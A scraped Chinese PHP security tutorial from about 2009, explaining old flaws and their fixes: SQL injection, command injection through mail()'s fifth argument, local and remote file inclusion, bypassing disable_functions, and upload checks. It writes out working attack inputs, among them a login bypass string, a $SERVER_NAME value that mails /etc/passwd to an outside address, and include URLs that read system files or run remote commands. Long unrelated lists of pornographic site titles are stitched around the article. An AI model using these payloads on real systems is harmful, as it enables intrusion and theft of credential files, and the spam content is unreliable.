欧美三区四区_av先锋影音资源站_亚洲第一论坛sis_影音先锋2020色资源网_亚洲精品社区_在线免费观看av网站_国产一区二区伦理_亚洲欧美视频一区二区_99视频精品全部免费在线_精精国产xxxx视频在线

PHP網(wǎng)站開發(fā)過程的安全知識(shí)_PHP教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

推薦:學(xué)習(xí)動(dòng)態(tài)網(wǎng)頁制作PHP技術(shù)的正則表達(dá)式
正則表達(dá)式難于書寫、難于閱讀、難于維護(hù),經(jīng)常錯(cuò)誤匹配意料不到的文本或者錯(cuò)過了有效的文本,這些問題都是由正則表達(dá)式的表現(xiàn)和能力引起的。每個(gè)元字符(metacharacter)的能力和細(xì)微差別組合在一起,使得代碼不借助于智力技巧就無法解釋。 許多包含一定特性

1、古老的欺騙SQL語句

在默認(rèn)模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。

這樣所有從GET/POST/Cookie來的變量的單引號(hào)(')、雙引號(hào)(")、反斜杠backslash(\)以及空字元NUL

(the null byte)都會(huì)被加上反斜杠,以使數(shù)據(jù)庫能夠正確查詢。

但是在php-4-RC2的時(shí)候引入了一個(gè)配置文件php.ini-optimized,這個(gè)優(yōu)化的php.ini卻是

magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會(huì)把php.ini-optimized拷到

/usr/local/lib/php.ini,這時(shí)就比較危險(xiǎn)。象比較簡單的驗(yàn)證,假設(shè)沒有過濾必要的字符:

select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'

我們就可以在用戶框和密碼框輸入1‘ or 1='1通過驗(yàn)證了。這是非常古董的方法了,這個(gè)語句會(huì)

替換成這樣:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

因?yàn)閛r 1='1'成立,所以通過了。

解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來的并且用在SQL

中的變量加一個(gè)自定義的函數(shù):

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是為了你的程序能安全移植在各種系統(tǒng)里。

2、mail函數(shù)的第五個(gè)參數(shù)

在php-4.0.5的時(shí)候,mail函數(shù)引入了第五個(gè)參數(shù),用來設(shè)置在實(shí)際發(fā)送郵件的時(shí)候增加額外的命令行參數(shù),但是沒有很好的檢查特殊SHELL命令字符,所以出現(xiàn)執(zhí)行命令的大問題。就像手冊里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");

這個(gè)是存在問題的,如果$SERVER_NAME=;mail mb5u@mb5u.com < /etc/passwd就能把機(jī)器的密碼發(fā)送到我的信箱了。

這里提醒一下,php手冊里還有好幾個(gè)例子存在安全問題的,大家實(shí)際使用的時(shí)候不要照搬,它只是演示函數(shù)的基本功能,理解了就可以了。

對于mail函數(shù)的這個(gè)問題,最簡單的我們就不用這個(gè)第五個(gè)參數(shù),要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然后重新編譯。

3、UNIX版的require, include函數(shù)

win版本的require和include函數(shù)是不支持HTTP和FTP遠(yuǎn)程文件包含的,而UNIX版本默認(rèn)都是支持遠(yuǎn)程包含文件。

require和include不管你是什么擴(kuò)展名的,把你包含進(jìn)來就作為程序的一部分來執(zhí)行。

我們在寫程序的時(shí)候?yàn)榱顺绦虻哪K化,以及程序的可移植性,不可避免的用到很多require或include函數(shù),而且有時(shí)用變量作為參數(shù),比如:include("$something"); 如果這時(shí)用戶能控制$something參數(shù),而這個(gè)參數(shù)又沒有過濾,那就慘拉。

首先可以看任何web用戶有讀權(quán)限的文件,假設(shè)這個(gè)程序叫http://victim/test.php,這樣我們就可以用如下

url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

另外可以利用其遠(yuǎn)程文件包含的功能執(zhí)行命令。比如我在www.AAA.org下建立一個(gè)文件test.php,內(nèi)容是:

 

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運(yùn)行任

意的命令。

phpMyAdmin也出現(xiàn)了這個(gè)問題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數(shù)判斷文件是否存在,而這個(gè)file_exist是不支持遠(yuǎn)程文件的,所以上面第二種辦法無法直接使用。但是我們可以利用apache的日志功能,請求一個(gè)帶php代碼的url,這樣,something指定為apache的日志也可以執(zhí)行命令了,但是apache的日志通常比較大,有太多雜亂信息。

http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執(zhí)行命令的腳本上傳,會(huì)在服務(wù)器的文件上傳臨時(shí)目錄里產(chǎn)生php8Ta02I之類的文件名,由于這時(shí)文件是存在的,所以能通過file_exist函數(shù),從而執(zhí)行上傳文件里的執(zhí)行腳本。

所以對于include, require函數(shù)的使用一定要小心,特別是以包含的文件以參數(shù)指定這種方式,參數(shù)絕對不能讓用戶來控制。還有通過修改php.ini文件去掉遠(yuǎn)程文件包含這個(gè)功能。這個(gè)在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來關(guān)閉。

4、disable_function

在php-4.0.1,php.ini里引入了一項(xiàng)功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數(shù)。

比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時(shí)候只會(huì)提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因?yàn)閜hp采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令:

 

$output = `ls -al`;

echo "

$output
";

 

?>

這個(gè)只有設(shè)成safe_mode才能避免,可是可惡的safe_mode實(shí)在是限制太多了,做其它事情也有些礙手礙腳。

5、file upload

php文件上傳的問題在文章http://www.ghpqjb.com/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個(gè)比較嚴(yán)重的問題,一般我們要上傳的文件也會(huì)放在web目錄,所以容易給攻擊者得到系統(tǒng)的一些web用戶能讀的文件。

幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù)。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數(shù)了,用move_uploaded_file代替,它會(huì)檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個(gè)函數(shù):

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {

$tmp_file = dirname(tempnam('', ''));

}

$tmp_file.='/'.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace('/ ', '/', $tmp_file) == $filename);

}

這個(gè)漏洞在安全焦點(diǎn)呆了很久,只是在copy之前有很多驗(yàn)證阿、判斷阿的語句,所以使之攻擊存在相當(dāng)?shù)碾y度。

還有,千萬不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因?yàn)檫@些變量太容易被偽造了。

呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。

分享:單元測試對PHP代碼的檢查
測試驅(qū)動(dòng)的開發(fā)和單元測試是確保代碼在經(jīng)過修改和重大調(diào)整之后依然能如我們期望的一樣工作的最新方法。在本文中,您將學(xué)習(xí)到如何在模塊、數(shù)據(jù)庫和用戶界面(UI)層對自己的 PHP 代碼進(jìn)行單元測試。 現(xiàn)在是凌晨 3 點(diǎn)。我們怎樣才能知道自己的代碼依然在工作呢?

來源:模板無憂//所屬分類:PHP教程/更新時(shí)間:2009-03-13
相關(guān)PHP教程
日韩在线看片| 18国产免费视频| 好吊妞www.84com只有这里才有精品| 欧美成人一品| 久久网站热最新地址| 在线国产精品播放| 老司机午夜网站| 日韩网红少妇无码视频香港| 欧美综合在线视频观看| 亚洲美女区一区| 69久久夜色精品国产7777| 久久久久久久久久久久91| 99草在线视频| 久久xxxx| 日韩午夜在线观看| 欧美成熟毛茸茸复古| 国产精品视频看看| 午夜a一级毛片亚洲欧洲| 中文字幕制服丝袜成人av| 久久久亚洲国产| 色婷婷狠狠18| 日批免费在线观看| 韩国视频一区二区| 亚洲人成网站777色婷婷| 欧美与动交zoz0z| 欧美一区二区三区四| 亚洲成人免费| 91豆麻精品91久久久久久| 久久精品一级爱片| 日韩精品视频三区| 久久久久久久免费视频| 欧美日韩 一区二区三区| 激情综合中文娱乐网| 欧美无砖砖区免费| 激情五月综合色婷婷一区二区| 手机av在线看| 欧美少妇性xxxx| 狠狠色噜噜狠狠狠狠97| 不卡一卡2卡3卡4卡精品在| 国产第一页精品| 亚洲最大在线| 午夜成人在线视频| 成人三级在线| 亚洲欧美精品aaaaaa片| 久久人人99| 在线亚洲精品福利网址导航| 国产一区二区无遮挡| 2021亚洲天堂| 中文精品久久| 欧美一区二区啪啪| 强伦女教师2:伦理在线观看| 一级久久久久久| 蜜桃av综合| 日韩av影院在线观看| 国产青草视频在线观看| 国产视频在线观看视频| 韩国三级中文字幕hd久久精品| 中文字幕国产亚洲| 一路向西2在线观看| 成人mm视频在线观看| 久久无码av三级| 国产999精品| 中字幕一区二区三区乱码| 国产欧美日韩影院| 色播五月激情综合网| 久久久久久久久久码影片| 色婷婷在线观看视频| 亚洲在线网站| 亚洲丝袜av一区| 日本爱爱免费视频| 日韩成人综合网| 综合久久综合久久| yy111111少妇影院日韩夜片 | 中文字幕av在线免费观看| 日韩二区三区四区| 日韩中文字幕网| 中文字幕久久av| 蜜桃在线一区| 亚洲成人激情自拍| 蜜桃传媒视频第一区入口在线看| 亚洲影院在线播放| 免费成人性网站| 久久精品视频一| 师生出轨h灌满了1v1| 加勒比久久高清| 色悠久久久久综合欧美99| 日本免费高清一区二区| 亚洲精品国产精品国自产网站按摩| 喷水一区二区三区| 免费99精品国产自在在线| 一本色道久久hezyo无码| 亚洲国产第一区| 91综合久久爱com| 精品欧美国产一区二区三区| 美女视频久久| 91成人国产综合久久精品| 国产成人免费视频网站 | 欧美亚洲色图视频| 五月婷婷激情在线| 国产精品免费网站在线观看| 91久久精品国产91久久性色tv | 不用播放器成人网| 日本japanese极品少妇| 日韩成人免费| 欧美精品一区二区三区四区| 成人黄色一区二区| 视频一区中文字幕精品| 色综合久久综合中文综合网| 致1999电视剧免费观看策驰影院| 亚洲成人av综合| 国产欧美一区二区精品秋霞影院| 91九色极品视频| 成年人视频免费| 波多野结衣亚洲一区| 国产精品中文字幕久久久| 国产在线拍揄自揄拍| 蜜乳av一区二区三区| 国语自产在线不卡| 国产传媒免费在线观看| 欧美一级网站| 欧美日韩国产成人高清视频| 欧美三级视频网站| 日韩五码在线| 久久视频在线播放| 五月激情四射婷婷| 国产视频久久| 色综合久久中文字幕综合网小说| 欧美性受xxxx黑人| 国产精品入口66mio| 美乳少妇欧美精品| 欧美一区二区三区观看| 久久字幕精品一区| 午夜精品免费视频| 午夜免费激情视频| 理论电影国产精品| 国产91在线高潮白浆在线观看 | 在线观看日韩高清av| 欧美中日韩在线| 久久久精品区| 欧美电影在线免费观看| 婷婷综合另类小说色区| 青青草原成人| 亚洲一区资源| 五月天网站亚洲| 米仓穗香在线观看| 国产精品亚洲欧美一级在线 | 午夜福利一区二区三区| 亚洲综合在线五月| 国产免费xxx| 国产一区二区三区精品在线观看| 欧美午夜精品电影| 日韩精品你懂的| 奇米影视亚洲| 在线免费看av不卡| 亚洲综合欧美综合| 久久精品国产**网站演员| 国产精品香蕉国产| 亚洲一区在线观| 亚洲色图.com| 午夜精品99久久免费| 色一情一乱一伦一区二区三区 | 日韩成人一区二区三区| 岛国一区二区在线观看| 国产欧美日韩在线播放| 熟妇高潮一区二区三区| 亚洲成a人v欧美综合天堂下载| 久青草视频在线播放| aaa国产精品| 亚洲精品720p| 免费一级做a爰片久久毛片潮| 日韩 欧美一区二区三区| 国产欧亚日韩视频| 国产毛片毛片毛片毛片毛片| 一区二区三区日本| 99视频在线免费播放| 国产尤物久久久| 少妇高潮久久77777| 国产成人综合在线视频| 成人免费视频视频在线观看免费| 久久伦理网站| 国产精品4hu.www| 欧美一区二区福利视频| 91精品啪在线观看国产| 免费日韩视频| 成人激情在线观看| 韩国av在线免费观看| 色呦呦国产精品| 国产5g成人5g天天爽| 亚洲免费播放| 国产精品美女无圣光视频| 精品人妻无码一区二区三区蜜桃一| 偷拍日韩校园综合在线| 91n.com在线观看| 伊人精品在线| 国产成人一区二区三区| 国产成人久久精品77777综合 | 久久久久久一区二区| 国产精自产拍久久久久久蜜| 精品国产伦一区二区三| 色偷偷88欧美精品久久久| 久久精品视频va| 日韩一级av毛片| 成人福利视频网站| 亚洲春色在线视频| 精品视频在线你懂得| 在线看国产精品| 精品少妇久久久久久888优播| 国产欧美视频一区二区| 精品国偷自产一区二区三区| 精品国产乱码久久久久久蜜坠欲下| 毛片精品免费在线观看| 黄色片视频免费| 亚洲18色成人| 日本免费色视频| 香蕉国产精品偷在线观看不卡| 96久久精品| 欧美极品在线| 亚洲午夜久久久久久久| 国产精品99re| 亚洲精品国产一区二区精华液| 精品久久久久久久免费人妻| 亚洲欧洲日本mm| 91网站在线看| 欧美一级免费| 国产亚洲a∨片在线观看| 日韩精品在线免费看| 一区二区三区在线视频播放| 国产理论在线播放| 亚洲欧美清纯在线制服| 国产精品亚洲综合| 日韩三级网址| 中文字幕亚洲综合| 尤物视频免费观看| 欧美性猛交xxxx乱大交极品| 日本一区二区免费视频| 国产精品资源在线看| 亚洲欧美精品| 欧美jizz| 国产伦精品免费视频| 国产一区一一区高清不卡| 亚洲美女激情视频| 日韩av在线播| 精品久久久久久久久久| 最新版天堂资源在线| 成人晚上爱看视频| 欧美中日韩在线| 一区免费视频| 国产精品国色综合久久| 国产精品极品在线观看| 国模精品一区二区三区色天香| 亚洲第一黄色片| 精品国产一区二区三区久久影院 | 无码一区二区三区视频| 国产精品视频在线播放| 高清亚洲高清| 中文字幕亚洲欧美在线 | 精品一区二区三区日韩| 在线一区高清| 亚洲一区二区三区无吗| 91成人伦理在线电影| 伊人久久大香线蕉av超碰| 欧美激情在线视频二区| 天堂在线资源库| 精品在线观看国产| 日韩黄色一级视频| 欧美日韩精品一区二区在线播放| 九九热视频在线免费观看| 亚洲天堂成人网| 国产chinesehd精品露脸| a级精品国产片在线观看| 无码aⅴ精品一区二区三区浪潮| 免费一级欧美片在线播放| 日本一区二区视频| 亚洲国产不卡| 成人免费看片网址| 国产精品一区二区av交换| 国产欧美日韩精品专区| 精品三级久久久| 性欧美xxxx交| 日韩成人精品一区二区三区| 欧美日韩电影在线观看| 香蕉视频免费看| 一个人www欧美| aaa国产视频| 亚洲男人的天堂网站| 国产一区二区三区视频免费观看| 欧美大片在线观看一区二区| 免费av网站在线| 9191国产精品| 亚洲国产综合久久| 91久久香蕉国产日韩欧美9色| 中国毛片直接看| 欧美色另类天堂2015| 免费黄色激情视频| 亚洲午夜av在线| 中国美女乱淫免费看视频| 综合分类小说区另类春色亚洲小说欧美| 原创真实夫妻啪啪av| 久久久精品国产99久久精品芒果| 亚洲精品永久视频| 久久先锋资源网| 在线观看你懂的视频| 国产日韩精品视频一区| 免费黄色在线播放| 国产精品久久毛片av大全日韩| av天堂一区二区| 国产精品盗摄一区二区三区| 性欧美丰满熟妇xxxx性久久久| 国产精品久久久久久久久晋中| 国产chinese中国hdxxxx| 中文字幕在线观看不卡| 真人bbbbbbbbb毛片| 一区二区三区**美女毛片| 一二三四国产精品| 色综合视频在线观看| 久草中文在线视频| 7777精品伊人久久久大香线蕉完整版| 日韩不卡视频在线| 精品国产三级电影在线观看| 91成人一区二区三区| 亚洲午夜女主播在线直播| 少妇高潮一区二区三区69| 欧美床上激情在线观看| 欧美男男gaygay1069| 热久久99这里有精品| 女同一区二区三区| 99re视频在线| 久久久久电影| 五月天婷亚洲天综合网鲁鲁鲁| 亚洲视频大全| 国产精品又粗又长| 国产成人av一区二区三区在线观看| 久久撸在线视频| 国产喂奶挤奶一区二区三区| 中文字幕影片免费在线观看| 亚洲小说欧美激情另类| 欧美精品一级片| 日韩一级片在线播放| 国产精品无码一区二区桃花视频| 综合网日日天干夜夜久久| 少妇一区视频| 国产精品第2页| 国产区精品区| 日韩欧美激情一区二区| 日韩精品欧美精品| 熟妇人妻va精品中文字幕| 久久老女人爱爱| 精品人妻互换一区二区三区| 色综合久久久久综合99| 中文字幕在线观看视频网站| 日韩成人在线观看| 亚洲欧美自偷自拍| 欧日韩在线观看| 国产一区二区三区四区五区| 欧美中文娱乐网| 久久先锋资源| 一区二区三区视频在线观看免费| 国产精品视频免费看| 精品手机在线视频| 91精品欧美久久久久久动漫| 国产欧美日韩成人| 亚洲欧美精品午睡沙发| 亚洲春色在线视频| 欧美中文字幕| 好男人www社区| 国产精品进线69影院| 国产一区二区播放| 精品日韩一区二区| 天天插天天干天天操| 日本久久久久亚洲中字幕| 黄色不卡一区| 亚洲一区二区高清视频| 国产精一品亚洲二区在线视频| 久草福利在线观看| 欧美日韩国产中字| 无码人妻丰满熟妇精品区| www.亚洲一区| 超碰成人福利| 美国av一区二区三区| 美腿丝袜亚洲一区| 911亚洲精选| 一本久久a久久精品亚洲| 中文字字幕在线中文乱码| 伦理中文字幕亚洲| 偷拍自拍亚洲色图| 亚洲一区二区三区乱码| 成人免费观看av| 天堂在线中文视频| 日韩欧美成人一区| 九九九伊在线综合永久| 91亚洲va在线va天堂va国| 亚洲欧洲午夜| 久热精品在线播放| 亚洲丶国产丶欧美一区二区三区| 无码人妻丰满熟妇区五十路| 美日韩精品视频免费看| 精品高清久久| 99在线观看视频免费| 国产精品久久久久久久久晋中 | 日韩精品乱码av一区二区|